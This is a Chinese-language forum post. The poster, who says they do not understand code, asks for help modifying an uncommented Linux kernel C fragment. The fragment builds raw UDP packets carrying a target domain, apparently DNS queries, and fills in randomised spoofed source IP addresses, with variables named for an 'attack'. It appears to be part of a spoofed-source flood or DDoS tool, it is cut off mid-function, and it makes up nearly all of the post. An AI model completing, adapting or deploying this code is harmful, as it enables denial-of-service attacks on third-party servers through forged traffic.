下面的代码 有熟悉的人吗? 求助啊
想修改点东西 不懂代码 也没有注释
企鹅 997315691
data_len=sizeof(data_1)+strlen(atk_info_p->domain)+1+sizeof(data_2);
udp_len=data_len+sizeof(struct udphdr);
ip_len=udp_len+sizeof(struct iphdr);
skb_size=sizeof(struct ethhdr)+ip_len;
if(udp_len%2)
skb_size+=1;
new_skb = alloc_skb(skb_size, GFP_ATOMIC);
if(new_skb==NULL)
continue;
new_skb->data_len = 0;
skb_put(new_skb,sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct udphdr));
new_eth_p = (struct ethhdr *)new_skb->data;
new_ip_p = (struct iphdr*)((size_t)new_eth_p+sizeof(struct ethhdr));
new_skb->mac_header = (unsigned char *)new_eth_p;
new_skb->len = sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct udphdr)+data_len;
new_skb->mac_len = sizeof(struct ethhdr);
new_skb->dev = dev_get_by_name(&init_net,DEV_ETH);
memcpy(new_eth_p->h_source,new_skb->dev->dev_addr,ETH_ALEN);
memcpy(new_eth_p->h_dest,atk_info_p->eth_dst,ETH_ALEN);
new_eth_p->h_proto = htons(ETH_P_IP);
new_udp_p = (struct udphdr*)((size_t)new_ip_p+sizeof(struct iphdr));
new_phdr_p = (struct pseudo_header*)((size_t)new_udp_p-sizeof(struct pseudo_header));
new_skb->network_header = (unsigned char *)new_ip_p;
new_skb->transport_header = (unsigned char *)new_udp_p;
new_udp_data_p = (unsigned char *)((size_t)new_udp_p+sizeof(struct udphdr));
memcpy(new_udp_data_p,&data_1,sizeof(data_1));
memcpy((new_udp_data_p+(size_t)sizeof(data_1)),&atk_info_p->domain,strlen(atk_info_p->domain)+1);
memcpy((new_udp_data_p+(size_t)sizeof(data_1)+(size_t)strlen(atk_info_p->domain)+1),&data_2,sizeof(data_2));
/*create pseudo header */
if(ip_list_level<32)
{
random_src_ip= (((ntohl(ip_list[_random(seed_p)%(ip_list_n+1)])>>(32-ip_list_level))<<(32-ip_list_level))^(RANDOM_32(seed_p)>>ip_list_level)); /*1.05改动*/
if((random_src_ip&0xff)==0)
random_src_ip=htonl(random_src_ip+1);
else if((random_src_ip>>24&0xff)<10)
random_src_ip=htonl((random_src_ip+200)<<24);
else if((random_src_ip>>24&0xff)==255)
random_src_ip=htonl((random_src_ip&0xfe)<<24);
else if((random_src_ip&0xff)==255)
random_src_ip=htonl(random_src_ip-1);
else
random_src_ip=htonl(random_src_ip);
}
else
random_src_ip=ip_list[_random(seed_p)%(ip_list_n+1)];
if(ntohl(atk_info_p->src_ip))
src_ip = atk_info_p->src_ip;
else
src_ip = random_src_ip;
new_phdr_p->src=src_ip;
new_phdr_p->dst = atk_info_p->dst_ip;
new_phdr_p->unused = 0;
new_phdr_p->proto = IPPROTO_UDP;
new_phdr_p->len = htons(udp_len);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课